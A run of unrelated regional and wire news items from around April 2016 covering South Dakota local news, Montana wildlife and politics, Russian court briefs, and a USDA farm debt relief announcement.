The federal government has announced a program to provide $1.3 billion in debt relief for about 36,000 farmers who have fallen behind on loan payments or face foreclosure. The U.S. Department of Agriculture announced the farm loan relief program funded from $3.1 billion set aside in the Inflation Reduction Act allocated toward assisting distressed borrowers of direct or guaranteed loans administered by USDA. The law was passed by Congress and signed by Biden in August. The money anounced Tuesday is the first round of payments designed to help farmers hard hit by pandemic-induced market disruptions or climate-driven natural disasters including drought stay in business or re-enter farming. The USDA says additional programs are to come.
This week on the podcast, reporters discuss the 2016 Iowa legislative session that might have been; Washington weighs in on the Iowa Democratic Senate race, including the latest fundraising reports; and the U.S. House races in Iowa's 1st and 4th districts.

On Iowa Politics is a weekly news and analysis podcast that aims to re-create the kinds of conversations that happen when you get political reporters from across Iowa together after the day's deadlines have been met. This week's show features James Q. Lynch, Todd Dorman, Erin Murphy, Christinia Crippes, Bret Hayworth and Ed Tibbetts.

The show was produced by Richard Pratt, and the music heard in the podcast is courtesy of I Cry Wolfe. Find us at qctimes.com/oniowapolitics, chat with us on Facebook, follow us on Twitter @OnIowaPolitics and subscribe on iTunes or Stitcher. Send band sound files to oniowapolitics@gmail.com.
BELLE FOURCHE | Belle Fourche Physical Therapy has been around for a while now and is looking forward to its fourth anniversary.

Care for patients has improved greatly during that time. They are currently searching for another physical therapist and are going through interviews to help improve their service.

Theresa Prozeller, office coordinator, is the only employee in the office run by DPT Julie Wingen. Wingen has a busy schedule treating patients from ages 1-90 in the office located at 1515 5th Ave. Suite 2.

Their phone number is 723-0185. Hours of operation are Monday and Wednesday from 12 p.m. to 6 p.m., Tuesday and Thursday 7 a.m. to 4 p.m., and Fridays from 7 a.m. to 2 p.m.

The providers use the latest techniques and treatments to ensure a healthy, speedy recover. Those interested can call for a free, 15-minute screening.

Wingen received her doctorate from the University of South Dakota and is active in the South Dakota Physical Therapy Association. She has a broad range of experience in pediatrics and neuro-rehabilition, which she utilized on her trips to Guatemala and the Dominican Republic to provide physical therapy services and distribute wheelchairs.

"It's trending now that people come in without a referral," said Wingen about why people seek physical therapy. "They are learning the benefits of physical therapy, so they are telling their friends."

Wingen said only people utilizing Medicare and Medicaid need a referral from a physician.

"It comes down to drugs, surgery or us," said Wingen.

She said physical therapists go to school to receive their doctorate and become movement and pain experts. She also said that with health care costs being so high, it just makes sense to cut out unnecessary expenses that come with seeing a primary care provider who recommends imaging.

Imaging leads to a specialist, which sends the patients right back to physical therapy when all those steps might not be needed, she added. She said often, if it is a severe injury that does need other attention, she can diagnose that and recommend other treatment right away.

"Imaging research is very poor," said Wingen. "Ultimately when (people are) told they have degenerative disease it is mostly just aging, like wrinkles on the inside. A lot of people wait too long when they have pain. I tell them if it's not feeling better in two weeks, it needs help."

One patient said, "You're like a massage therapist, a physical therapist and chiropractor all in one."

The sad thing is, Wingen said, physical therapy is grossly underutilized with only 10 percent of the general population seeking treatment.

"It's like a hidden gem," said Wingen. "Once they see how it can help they come back right away (if they have another injury)."

Belle Fourche Physical Therapy's motto states, "We strive to exceed customer expectations by providing the highest quality of care in a friendly, encouraging, and relaxed environment. Our mission is to assist and educate our patients in living a healthy, active lifestyle, without pain or physical limitations."
Several students from Belle Fourche High School travelled to Watertown to compete in the SkillsUSA contests on April 8. This is a competition for students enrolled in state-approved technical programs.

Those who made the trip were:

Kory Gabert

Tyson Gonzales

Briana Koski

Alex Lafontaine

Kelly Montgomery

Joel Raisanen

Nolan Tanninen

Cody Tupper

Placing in the top three were:

Briana Koski (who placed 1st in the speech and 2nd in Technical Math)

Tyson Gonzales (2nd in Welding)

Joel Raisanen (3rd in Technical Math)

Nolan Tanninen (1st in Welding)

Cody Tupper (3rd In Carpentry)

In addition to prizes, the students who placed received scholarships to the South Dakota technical institute of the their choice in the amounts of $500 for 3rd place, $1000 for 2nd place and $1500 for 1st place.

Tanninen and Koski also qualified for the nationals in Louisville, Ky., by winning their respective contests.
I worked 18 years for a charity and did a lot of international travel.

One thing the airline told you as you settled in for a long, overseas flight was, "For your well being..." and then you saw a video on how to hydrate, move around and generally take care of your body while flying across several times zones "to arrive fresh and ready for your vacation or business trip."

They even had a well-being radio station you could tune in to.

In this second article in my series on buying locally, I'd like to emphasize community well being. That is, the well being local businesses contribute to the community of Belle Fourche.

One of the things you may not be aware of is the amount of support that local business puts into our community in taxes, contributions and employment. I know one business that pays $26,000 in city taxes for their property, and they are not large.

Do the numbers. In 10 years at that rate this Belle Fourche business will pay $260,000 in property taxes alone. How much income do you think they will have to generate to "do business" here?

Let's be realistic customers of Belle Fourche. This business and all others are contributing to our local economy in a huge way. Please consider that the next time you or your service organization enters a business to ask for a donation of cash, goods or services for an event or fundraiser you are planning.

I'm here to speak for our business community. They only have so much in their advertising budgets and can't possibly support everything. That is why as a chamber director I promised our businesses that as much as possible I would try to keep the chamber our of their pocket.

They "give" to us in the form of membership investments. I want to give back to them by giving you, their customers, a heads up that we need to think about our businesses well being by considering what local business does by sustaining our community, linking us as neighbors and contributing to local causes.

Where would many of your neighbors and organizations be if it wasn't for their support of your cause?

Now let's put the shoe on the other foot. Where will they be if we, who receive so many benefits from their businesses in our fundraisers, giving in our local churches, sales and property taxes that support our city, don't give them our business?

I can tell you where. They will not be here.

We are like that old saying about "cutting off our nose to spite our face." We hurt ourselves when we drive out of town to spend money that won't come back here to our city, schools or churches.

Local support of our businesses helps to foster community well being. Everyone wants to be healthy. We work at our health in a variety of ways. I'd say it is time to consider our community health and support our hometown well being.

Remember, these are your neighbors who know you by name and support you in ways maybe you have not even thought of.
Imagine racing through the Black Hills on a runaway cart, navigating around trees and the twisting curves of the land, eventually coming to a peaceful stop at the bottom of a mountain.

Creating such a thrill ride was Tom Hagen's vision when he started building a mountain coaster attraction at the Rush Mountain Adventure Park within the Rushmore Cave tourist attraction located in Pennington County about 20 minutes from Mount Rushmore.

But Hagen recently hit a road block in the construction of the coaster when he asked the Pennington County Commissioners for permission to build.

On a vote of 3 to 2, commissioners Nancy Trautman, Deb Hadcock and Ron Buskerud said no to a variance request from Hagen to install a 52-foot support pole needed for the construction of the new ride at the park. Commissioners Lyndell Petersen and George Ferebee voted in favor of granting the variance request.

The battle over the installation of the new ride has as many twists and turns as the proposed mountain coaster itself.

The problems started when Hagen began construction on the coaster before receiving a building permit from the Pennington County Planning Department. In an interview this week, Hagen said he was in communication with the Planning Department about the coaster and had every intention on applying and receiving a building permit.

Building permits require design plans to be submitted and stamped by an approved engineer. Because the engineers for this coaster are based in Germany, the plans needed to be translated, then approved in English. With that process in motion, Hagen thought he could begin construction. He now acknowledges that was a big mistake.

"I should never have done that and I realize that," Hagen said.

When Planning Director PJ Conover found about the improper construction, he issued a stop-work order, halting the project.

On April 5, Hagen had to explain himself in front of the Board of Commissioners in order to receive the proper building permit.

The commissioners were not in agreement over the penalty that needed to be imposed on Hagen for starting construction without a permit. Hadcock only wanted to charge him one-third of the total penalty, because Hagen only began construction on the first of three phases for the project.

The other commissioners disagreed.

"We are letting him get away with something and not charging him for it," Buskerud said at the commission meeting Tuesday morning.

In the end, the commissioners decided to grant the building permit with several conditions including the full $11,330 penalty fee, which is equal to the building permit fee. Another condition for the permit was to receive approval for a 52-foot support pole needed to build the coaster. By rule, developers must gain approval for any structure over 35 feet.

Two weeks, later Hagen was again in front of the commissioners to ask for approval for the support pole.

At the meeting, the commissioners were less concerned with the height of the pole and more worried about the noise generated by the ride.

Trautman, who was the only commissioner to vote against the building permit, was not convinced by the noise pollution data provided by Hagen, which he said proves there would be minimal noise created from the ride. The research for the noise study was conducted in Germany, a fact Trautman said was not comparable to the Black Hills.

You are in a canyon where the noise reverberates back and forth, and I question having a noise level study conducted in Germany that is in a very different topography than what you are dealing with, Trautman said at the meeting.

Trautman said that the screams of joy by riders were not taken into account and that neighbors would not appreciate that element of the new attraction.

Mountain coasters are unique because the participants ride on individual carts that are powered only by gravity and follow the natural topography of the land, zig-zagging through trees on their way down the mountain.

Moving forward, Hagen said he is in communication with the German design team about adjusting the height of the support pole in order to avoid another variance hearing. The support pole was 52 feet high because it would provide a steep enough angle for the coaster riders to have a continuous ride down the mountain.

According to the engineers, if the pole was any shorter there would be a chance riders could actually stop in the middle of the ride, causing a potential log jam or accident.

Hagen is confident they can work out a design that fits within the county requirements while providing a safe and fun ride for tourists.

We want something that fits into the Black Hills, Hagen said.
A Pine Ridge man was sentenced in federal court in Rapid City on Thursday to nearly five years in prison for burning down his ex-girlfriends mobile home in 2014 in an arson case that a judge said has become almost commonplace on the Native American reservation.

Duane D. Benson, 31, was given 57 months in custody for setting fire to Oglala resident Jessie Waters' trailer on Dec. 12, 2014, leaving her homeless. Four months later, the 31-year-old Waters was found dead outside town under what the FBI described as suspicious" circumstances.

Waters, according to court records, broke up with Benson the night of Dec. 12, 2014, after the couple drove with a male and female friend to another home within the Pine Ridge Indian Reservation. While they were still in (Bensons) truck, Waters told Benson she wanted to end their relationship, one document said.

After the women got out of the truck, Benson asked the male friend if he could accompany Benson to get his PlayStation from Waters trailer. While inside, Benson used a propane torch to light Waters trailer on fire, the document said. As a result of the fire, Waters trailer was destroyed and declared a total loss.

Besides her clothes and other belongings lost in the flames, a dog was also burned alive in the fire, Waters uncle Anthony Waters told the court before Bensons sentence was pronounced Thursday morning.

Hes got no regard for life, Anthony Waters said of Benson.

The presiding judge, Chief District Judge Jeffrey Viken, noted the significant number of arson cases the court has seen happen on Pine Ridge. It is an unusual setting, he said, in that when people get angry, residences are burned.

Between 2010 and 2015, according to the U.S. Attorney's Office for the South Dakota District, 12 arson cases that occurred on Pine Ridge were charged in federal court.

Bensons public defender, Gary Colbath, Jr., told the court that his client helped Waters find funds from groups such as the Red Cross to replace her burned trailer. But the prosecutor, Assistant U.S. Attorney Benjamin Patterson, said the new trailer was uninhabitable, leaving Waters and her two young sons homeless.

Patterson also told the court that Waters died in the presence of Benson. No charges have been filed in connection with her death, and the case remains under investigation, officials said.

Benson is a member of the Oglala Sioux Tribe, and also goes by the names Dewey Benson, Duayne Darren Benson and Duane Darren Youngman.

His sentence includes five years of supervised release once his prison term is completed. Viken also ordered him to undergo substance abuse treatment, since his criminal record includes troubles that stemmed from drinking.

Restitution for the trailer has been deferred while the prosecution determines the trailers legal ownership and the total value of property lost in the fire.
STURGIS | A packed house of senior citizens peppered Sturgis Mayor Mark Carstensen and City Manager Daniel Ainslie with questions Thursday concerning the possible move of the senior center out of downtown Sturgis.

The city is working with developer Dream Design, of Rapid City, on building a new independent living senior apartment complex in southwest Sturgis.

As part of the project plan, the city proposed offering a Tax Increment Finance District, with TIF funds helping to pay for a new senior center. The facility would be shared by the residents of the apartment complex and the local seniors.

"With that situation, there is a funding mechanism in place to provide a new building to the senior center at no cost to the center other than the fact that we would request that this property become city property," Carstensen said.

Ainslie said the TIF makes it possible for community projects to be built while being funded through the property taxes paid by the developer.

Thursday's meeting was a chance for members of the Meade County Senior Citizen's Center to ask questions about the proposal. Center Director Deb Peterson said a ballot asking members if they were in favor or against the proposal would be sent out in the center's May newsletter.

One of the sticking points for the seniors is a shared kitchen with the senior living apartments. Ainslie encouraged those on hand not to get too wrapped up in that detail, but instead focus on the overall merits of moving to a new facility versus remaining in the current location.

Carstensen said the city, the developer and representatives of the senior citizen's center would work together on a proposal that would satisfy all parties.

"We're not going to come to you and say, 'this is what you get,'" he said. "We are going to get to an end together. What were looking for is your input to get it right."

Resident Peggy Brengle wanted to know who would have the final say.

"Is it the developer? Is it the city or is it the senior center?" she said. "If you don't meet all of our demands, then we're out?"

Ainslie said if the senior citizens at any point don't want to move forward, they don't have to.

"The developer will be building the independent living. That's going to happen one way or another. That's the plan," he said. "Whether the seniors come on board is up to everyone in this room."

Both Ainslie and Carstensen said the city wanted to be patient and answer any and all questions, but cautioned that there is a window of opportunity and that may soon close.

The new independent living facility would be built in two phases with 30 units in two separate two-story sections. Ainslie estimated the new project would cost from $12 million to $15 million.

As proposed, the new senior citizen's center would be nestled between the two apartment complexes. The 8,000 square-foot building would house a reception area, public restrooms, a 2,000 square-foot senior citizen's common area, 2,000 square-foot senior gift shop, offices, a library/media room, game room, 1,200 square-foot exercise/therapy room and a 900 square-foot kitchen.

Carstensen said given the current prices for new buildings, the new senior center would cost about $950,000. The cost of the new center would be part of the original TIF loan; the cost would then be recouped from taxes paid by the developer of the new independent living complex.

Ainslie estimated the current senior center's value at between $800,000 and $1 million given its location in the heart of downtown Sturgis. If the seniors vote to move to the new location, the city would be deeded the property at 919 Second St. Plans for the vacated location are still undetermined, but one idea discussed was to locate a children's splash park there.

"Right now the city has not decided what it would do with this site if this deal does proceed," he said. "That would be something that the city council would decide in the future. Right now we're not really trying to spend time or money to try to figure out what would be done with this site because we don't know if it would work."

The Meade County Senior Citizen's Center sits adjacent to the Harley-Davidson Rally Point in downtown Sturgis. Asked if the offer of a new building had anything to do with the city's 75-year contract with Harley-Davidson, Ainslie said it did not.

"There is nothing in the Harley-Davidson contract that deals anything whatsoever with this property," he said.

Carstensen told those in attendance that working to get this new center is an attempt at making Sturgis a better place which includes giving the senior citizens of the community a better facility.

"We are bringing this forward for the seniors to decide if this is something they would want," he said.
Railroad inspectors who just kicked off a project to examine the quality and safety of state-owned rail lines have found uneven rails, broken or shifted ties and insufficient ballast to support tracks, including on the Mitchell to Rapid City line.

The South Dakota Railroad Board is sending members to inspect track conditions along state-owned lines and checking on maintenance by private operators who use them.

The board received its first informal report Wednesday about the Mitchell-Rapid City line, which is operated by Dakota Southern Railroad and whose officials were asked by the state on Wednesday to develop an improvement plan to ensure safety and security of the tracks.

The three members who conducted the tour  Harlan Quenzer of Mitchell, Gary Doering of Cavour, and Jerry Cope of Rapid City  said they found wide variances along the line on both sides of Kimball.

They reported seeing uneven rails, ties broken or shifted, insufficient supporting ballast rock in many areas, ballast piles that werent spread, weeds growing from the rail bed, and scrap materials along the shoulders at places.

I think it needs a lot of loving care, Quenzer said.

Mike Williams, one of the co-owners of Dakota Southern and the day-to-day manager, didnt attend Wednesday's meeting.

His absence didnt set well with Todd Yeaton, the boards chairman. Yeaton manages the grain elevator and fertilizer center at Kimball along the line. Yeaton said he and the board were disappointed Williams was a no-show.

Hes on the agenda, Yeaton said.

The line west from Mitchell to Chamberlain was rehabilitated with a combination of state, federal, local and private funding.

A similar partnership is underway to rehabilitate the line across the Missouri River west to Kennebec where the Wheat Growers organization is building a shipping center.

Quenzer said the average speed of trains along the route is probably down to 10 mph. He said the tracks condition must improve so trains can run faster, especially coming back east from Kennebec.

Otherwise, theyre not going to make their turnarounds, he said.

Cope said approximately $60 million would be invested by the time the rehabilitation is complete to Presho. He said the rebuilt track is not in good condition.

He described the rail board as stewards of taxpayers money.

What do we do going forward? How do we make this the right investment for South Dakota taxpayers? Cope asked.

The state board informally agreed that Dakota Southern should be asked to present a detailed maintenance plan at its next meeting.

Theres some questions the board would like answered and to know, Yeaton said. He noted that inspections would be conducted annually by board members on every state-owned line.

The board also informally agreed that the condition reports should be filed in writing so future board members can refer to the reports.

Bruce Lindholm, who oversees the state-owned railroad lines for the state Department of Transportation, didnt disagree with the observations reported from Quenzer, Doering and Cope.

We did know, we still know, we were light on ballast on that track, Lindholm said.

The track wasnt originally designed or built for heavy trains, Lindholm told the board. None of this is a particular surprise to us, he said.

Ballast is needed and work must be done to straighten out the track again, Lindholm said. From an engineering standpoint, completely predictable, he said.
Our late afternoon descent into Bostons Logan International Airport mirrored two more infamous flights on September 11, fifteen years ago. Those flights left Logan in the early hours; our approach over the East Boston Harbor was near dusk. Those flights ended at the threshold of eternity; my hope was for a landing less momentous.

Out my starboard window on Delta flight 2065, the shadow of our ship escorted us down to where we united on the runway. Baggage Carousel C on the ground level of Terminal D reminded me I was no longer in Kansas  or Rapid City. Positioned three feet away when the luggage-go-round began to spin, in moments a thicket of travelers in sharp search for their bags had elbowed ahead.

In our rental car, a black Chrysler 300 with dashboard controls intricate enough for the space shuttle, my fellow traveler and I left metro Boston south for Cape Cod at sunset. A moment or two of driver confusion in the waning rush hour traffic earned me two harsh blasts of welcome from the horns of local drivers on their evening commutes.

Yes, Toto, were a long way from home.

After a stop for an evening meal of fresh catch in Hyannis, we arrived at our deep wooded destination near Wellfleet just after midnight. Though weary, I saw the silver light of a bay fed by the Atlantic in full moonlight. I smelled the ocean in April, crisp and salted and warm. I began to relish a morning stroll.

Though this is not that kind of trip. Im here to research a story of past danger, violence, intrigue and redemption. A story as far from South Dakota as one can fairly imagine; although it happened to a present South Dakotan of long and good standing. Perhaps more on that later.

Our late night host, a mild and bright Christian lady of frank and sturdy New England stock, welcomed us in that soft moonlight as if visitors at that hour were a nightly occurrence. How little there is that one can practically say compared to what ought to be said about such gracious and considerate hospitality.

We found room at the Inn; I will leave it at that.

So, we will be here for a week. My hope is to be able to report on at least one or two aspects of this sojourn next week. Suffice to say, my further wish is to be able to relate something heretofore unguessed at and marvelous. Well see. It is certainly odd to find that I am so desirous of such an outcome at 60. Who knew there were adventures yet to be lived?

Meanwhile, those I best love remain behind in the mid to southern Black Hills, the He Sapa of my Lakota brothers and sisters. Because Im on the Cape, I cant help but reference the tidal pull that familial longing will exert throughout this week. Thats how it is. Thats life.

For whats to come  stay tuned.
Russia requests extradition of Baltiyskiy Bank ex-head accused of $45 mln fraud - report

MOSCOW, April 22 (RAPSI)  The Prosecutor Generals Office of Russia has forwarded to Switzerland a request for extradition of Oleg Shigayev, a co-owner and ex-president of Baltiyskiy Bank, accused of a 3 bln rubles ($45 mln) fraud, Kommersant newspaper reported on Friday.

The request for extradition was sent to Switzerland on April 11,  the newspaper reports citing the official spokesperson for the Prosecutor Generals Office Alexander Kurennoy.

According to investigators, Shigayev had demanded that members of the banks credit committee approved loans to firms under his control. After that in June through August 2014 more than 3.37 bln rubles ($51 mln) were transferred to the accounts of the said commercial entities; the accused had disposed of these funds at his sole discretion, in particular, legalizing these funds.

Shigayev had been charged in absentia with fraud and money laundering. The Baltiysky Bank ex-head moved to Switzerland in autumn 2014 prior to the rehabilitation of the bank.

Baltiyskiy Bank is one of Russias oldest commercial banks. It was established in 1989 and has branches in 30 cities over the country. According to RIA Rating as on July 1, 2014, Baltiysky was 69th among Russian banks in terms of total assets. The amount of the banks assets made 85.7 bln rubles ($1.2 bln) at that time, whereas the amount of household deposits was at 58 bln rubles ($878 mln) as in early June.

Last August, the Bank of Russia announced the launch of financial restructuring of Baltiysky Bank, included in the top 100 of largest Russias banks. The Deposit Insurance Agency was set as a turnaround manager; the Central Bank had provided a credit line in amount up to 10 bln rubles ($151 mln) so the agency could manage the banks liquidity. Since August 20, the agency has acted as an interim administrator of the bank.

According to reports, the decision to rehabilitate the bank had been taken in the situation, where problems relating to the quality of assets were apparent. However, these problems did not affect liquidity, thus the bank could carry out its activities seamlessly.

In October 2014, Alfa Bank, Russias largest private bank in terms of total assets, equity, customer accounts and loan portfolio, bought an 88 percent stake in Baltiyskiy Bank.
Investigators seek house arrest for Domodedovo terror attack case defendants

MOSCOW, April 22 (RAPSI)  Investigators have filed motions seeking to place Domodedovo Airport ex-director Vyacheslav Nekrasov and Managing Director of Domodedovo Airport Aviation Security Andrei Danilov, who stand charged with the provision of services that allegedly do not meet security standards in connection with 2011 terrorist attack that left 37 dead, under house arrest, Moscows Basmanny District Courts spokesperson Yunona Tsareva told RAPSI on Friday.

The motions will be considered on April 26.

Earlier, the court ordered the detention of Nekrasov, Danilov and Export Management Company Limited ex-head Svetlana Trishina. A measure of restraint of Trishina was later changed to the house arrest.

On February 19, the Basmanny District Court of Moscow placed Dmitry Kamenshchik, the owner of the Domodedovo airport, under house arrest in connection with this case.

According to investigators, the defendants have not provided sufficient security level that let the suicide bomber freely enter the arrival lounge and set off an explosive.

A suicide bomber detonated a bomb in the Domodedovo Airports international arrivals hall, killing 37 people and injuring 172, on January 24, 2011.

Doku Umarov, Russias most wanted terrorist at the time, claimed responsibility for the attack. Altogether, 28 men connected with the terrorist organization called the Caucasus Emirate were linked to the attack, according to the investigators. Seventeen of them were killed in special operations in 2011, and four were detained.

In November 2013, a Moscow Region court sentenced three men to life in prison and a fourth man to 10 years for their role in the suicide bombing.
Sukhoi Civil Aircraft nearly lost US assets worth $420,000

MOSCOW, April 22 (RAPSI, Vladimir Yaduta, Alexander Panfilov)  Delex Inc. accused Sukhoi Civil Aircraft Company (Sukhoi) of breach of contract and ensured the seizure of its property worth about $420,000 that was about to be auctioned off, according to court records obtained by RAPSI.

According to Delex Inc., it had contracted with Sukhoi to lease office and warehouse storage space on the Russian companys behalf entering into a three-year lease agreement. However, receiving no payment from Sukhoi, the US firm had to surrender the premises to the landlord and to file a complaint against the Russian company for breach of contract in March 2012.

In August 2012, King County Superior Court granted Delex's motion for an order of default and default judgement, since the Russian company had not responded to the claim. The court ruled that $327,378.49 might be recovered from Sukhoi. According to Delex Inc., it informed the Russian company about this judgement via e-mail, but had no response either.

In January 2015, the court issued a writ of execution to the King County sheriff to seize Sukhoi's property, located in SeeTac and valued at approximately $420,000 (about 27.8 million rubles at the current rate).

Later, the Russian company moved for relief from the default judgment in Delexs favor and to stay the sheriff's sale. The trial court denied its motion. Sukhoi appealed, but to no avail.

Sukhoi maintains that service of process was improper. Under the Hague Convention on the Service Abroad of Judicial and Extrajudicial Documents in Civil or Commercial Matters (the Convention) the service of process should have been executed via a national Central Authority, in this case the Russias Ministry of Justice. Instead, Dulex used services of the Russian Post having served the summons and complaint through registered mail on Sukhois registered office and personally on the head of the Russian companys Foreign Activity Legal Support Department.

Nevertheless, the US court has ruled the notification was proper taking into account the fact that Russia had ceased to service Russians on behalf of Americans.

In the meantime, the parties agreed to quash the writ of execution, which was the basis for the sheriff's sale. Sukhoi deposited a $475,000 supersedeas bond, according to court records.

RAPSI has yet to obtain comments from the parties to the case.

As RAPSI has reported earlier, Russia suspended all judicial cooperation with the United States in civil and commercial matters since July 2003.

Russia opted to suspend judicial cooperation after the United States imposed a fee for all requests for service from any foreign country whether submitted under the Convention or via diplomatic channels. The fee was reportedly imposed to cover costs incurred by a private contractor hired by the U.S. Department of Justice to administer the service functions. The United States claim that fees are permitted under the Convention and charged by a number of countries that are party to the Convention.

As a result of Russias policy, litigants were advised to seek guidance regarding alternative methods of service.
Criminal case launched against fugitive Russian judge  report

MOSCOW, April 22 (RAPSI)  The Investigative Committee of Russia has launched a criminal case against Moscow Commercial Court Judge Irina Baranova who is suspected of assisting in bribery and large scale fraud, Kommersant newspaper reported on Friday.

In December 2015 the Appeals Chamber of Russias Supreme Court found investigation into Baranovas activities legal.

The judge was assisting in corporate raid over the building in Moscows center. Several people have already been sentenced in this case while investigators tried to bring the judge, who has special status, to justice in 2013. Only now it became possible after the judge left to the U.S., Kommersant reported.

According to Kommersant, the Head Moscow department of the Investigative Committee will be in charge of investigation while being assisted by the Federal Security Service (FSB).

Baranovas possible involvement in a corporate raid attempt was revealed during an investigation into a case of the hostile takeover of a building in central Moscow.

Earlier it was reported that Baranova left Russia in December 2013 on a tourist vacation to Miami where her son was born. It was reported that medical complications made her stay in the U.S.

According to investigators, the judge helped the buildings former owners, businessmen Mikhail Chernov and Mikhail Balakirev, repossess their property. Baranova allegedly convinced Chernov to bribe the judge in the case, Yulia Bespalova.

In September 2013, Chernov and Balakirev were declared guilty of fraud and attempting to launder the proceeds of a crime and received nine and seven years in prison, respectively. They have appealed the verdict.

Baranova, who has a PhD in law, was appointed judge in 2007 and became presiding judge in a court that hears cases of privatization, property and lease rights in 2012. The Moscow Commercial Court writes on its website that the total income of Baranovas family in 2012 was 1.2 million rubles ($18,500), of which the judge declared 661,000 rubles ($10,200) and her spouse 590,000 rubles ($9,100). The family has not declared its 2013 income.
Something is happening with the moose populations in Montana.

In many parts of the state, biologists have felt like their numbers have been in decline for a decade, but no one knew for sure why that was happening.

In 2013, Montana Fish, Wildlife and Parks began a 10-year study to look for answers.

The lead FWP research biologist, Nick DeCesare, will be in Hamilton Monday, April 25 to provide a presentation on what the study has uncovered so far. Sponsored by the Ravalli County Fish and Wildlife Association, the talk will start at 7 p.m. at the Bitterroot River Inn.

Moose are a challenging animal to monitor, said DeCesare. They tend to be more solitary. That, combined with the fact that there arent a lot of them, makes it an expensive proposition to try to count them from the air like biologists do with elk and deer.

DeCesare said biologists have depended mostly on the feedback that they get from hunters to monitor moose populations.

As their numbers appeared to decline, state biologists cut back on the permits hunters needed to hunt moose.

Those hunters who do draw the licenses are telling us that they are putting in more days per hunt even though there are fewer hunters out in the field, DeCesare said. That points to the fact that something has changed.

Montana isnt alone with its concerns about moose.

A well documented decline in a portion of Minnesota found a herd of nearly 4,000 dropped to less than 100 in the 80s and 90s. Moose numbers in other portions of the southern end of the species range also appear to be hurting.

In February 2013, DeCesare and others began collaring cow moose in three separate habitats in the state to begin looking for a cause. The three areas included the upper Big Hole Valley, the Cabinet Mountains near Libby and the Rocky Mountain Front near Choteau and Augusta.

Their plan was to collar 30 adult moose in each of the three areas, which theyve done.

On Monday, DeCesare will talk about some of the preliminary findings of the study.

One part of the study looks at the nuts and bolts of what it takes to grow a new moose. The biologists look at the pregnancy rates and calf survival. So far, theres not been anything really alarming in that aspect of the study.

The mortality aspect of adult animals is a little more troubling, especially in the Big Hole and Cabinet populations.

In the Big Hole, DeCesare said they have found animals that died from natural, non-predation, causes that include disease and parasites. There may be some nutritional issues as well.

In the Cabinet Mountains, DeCesare said there was more mortality related to predation from wolves and bears.

On the Rocky Mountain Front, the situation is completely different.

Its a newer population and people have been reporting seeing more moose than what they are used to seeing, he said. The survival rate is very high. They seem like theyre doing better.

The Monday night talk is free and open to the public.
The Ravalli Republic continues its coverage of the upcoming primary election with a profile written by House District 87 incumbent Nancy Balance. A profile of her opponent, Democrat Mark Snider, will appear in Saturdays newspaper.

All of the profiles that have been published so far can be accessed on the newspapers website at www.ravallirepublic.com in the election section.

Nancy Ballance

Incumbent House District 87

Age: 68

Party: Republican

Hometown: Hamilton

Experience: Two terms in Montana State House of Representatives (2013-current), representing Stevensville, Victor, Pinesdale, Corvallis; served as Chair of House Appropriations, 2015-2016, vice-chair of Revenue & Transportation Interim Committee, 2013-2014; currently serving as vice-chair of combined Senate and House Finance Committee.

My husband, Larry, and I have been married 39 years. We have one son and two grandsons. I am a retired executive with 40-plus years in the information technology industry, working for IBM, Zurich Financial and Farmers Insurance. During my time at Zurich Financial, I led major international projects that brought together executives from multiple countries to solve unique business problems. I am running for a third term in the Montana House because I believe I can put my unique skills and experience to work for Ravalli County and all Montana citizens.

Although my experience in House Appropriations gives me an opportunity to work across all policy areas, there are four major areas of focus for me in the 2017 session: resettlement of Syrian refugees; impacts from the loss of coal, oil and gas revenue; reducing dependence on federal funding; and healthcare issues.

The federal government has the authority to determine which refugee populations will come in to the country. States have almost no rights in deciding who can come in or what the vetting process is. Many times states are not even told in advance who is coming. Homeland Security and the FBI have stated repeatedly the Syrian refugees cannot be vetted because the records simply do not exist. Clear evidence has been seen in other countries that terrorists are included within refugee ranks. In addition to the obvious security risk posed by these refugees, Ravalli County, at a 17 percent poverty rate, simply cannot afford the services to which the refugees will be entitled. The federal government demands that refugees be self-sufficient within one year. However, self-sufficiency is defined to mean the refugee is no longer receiving cash assistance or Temporary Assistance for Needy Families (TANF). Refugees can be collecting food stamps, medical benefits, housing benefits, energy assistance and Supplemental Security income  and still be considered self-sufficient. Many of these services will fall to the local community to provide. The state must take back, through legislation, our rights to determine who may come into the state and what services we will provide to the refugees.

Oil prices continue to decline, gas prices remain low and coal is under attack from federal regulators and environmental groups. These resources provide a major portion of funding for Montana schools, infrastructure projects, economic development grants, building projects, parks, cultural and preservation projects, and many more. Montanas power comes primarily from coal, a source of power which has become increasingly cleaner with emissions reduced over 90 percent over the past four decades. I will continue to support through legislation the use of Montanas critical natural resources, which can be done more cleanly and efficiently than ever before.

Forty-five percent of Montanas budget comes from the federal government. The dysfunction of Washington, D.C., the national debt, and changing national priorities puts Montana constantly in danger of losing critical funds for programs and projects. The situation is also a risk to our state sovereignty. As we take more from the federal government, we are forced to abide by the rules, regulations, standards and programs designed, not by the million people who live and work in Montana but by the 300 million plus people who live in big cities across the country. Our schools, healthcare, roads, energy policy, security and access to our land and water are decided by the federal government because we are taking almost half of our budget from the national taxpayers. We must reduce our reliance on federal funding and begin to take back control of Montanas policies.

The passage of Medicaid Expansion last session was supposed to be the solution to healthcare issues in Montana. Unfortunately, while almost a quarter of the population of Montana is now eligible for Medicaid, many people still cannot access or afford the care they need. While 50,000 able-bodied adults are now eligible to receive Medicaid benefits, disabled people who are eligible for Medicaid services end up on waiting lists for years. As we continue to spend more of the taxpayers money on healthcare, we are still not achieving the outcomes promised from these government programs. We must continue to reform the healthcare system to provide better outcomes for Montanans and more assistance for healthcare providers without further burdening the taxpayers.

That brings me to the most important issue, the burden of taxes. The 2015 legislative session started with a $450 million surplus. Two bills which would have reduced Montana income taxes were passed by the Legislature but vetoed by the governor (SB200 and HB166). It is unfair to Montana families who are struggling to make ends meet to keep these huge surpluses. We need a permanent reduction in income tax rates to benefit all Montana families.
Montana Fish, Wildlife and Parks game warden, Justin Singleterry, is seeking information about a mule deer buck that was shot on Gird Creek Road, just off the Skalkaho Highway near Hamilton.

Singleterry said that the poaching occurred on April 15 or 16, and the entire deer was left to waste alongside the road. Wardens are investigating evidence found at the scene and are looking for help from anyone that might have information on this incident
Sagarmatha Network Pvt. Ltd. is the organization dedicated in the field of printing, publishing service since 2001. As part of media, we've been publishing Review Nepal, an English medium weekly registered at District Administration Office (DAO) Kathmandu with registration number 130-162-163 and reviewnepal.com as an online digital newspaper, with registration number 849-075-076 at Department of Informational and Broadcasting (DIB) from Kathmandu, Nepal since 2003.
[22 April 2016]

Press statement by Federation of Nepalese Journalists (Himalmedia Chapter)

CIAAas Vengeful Act

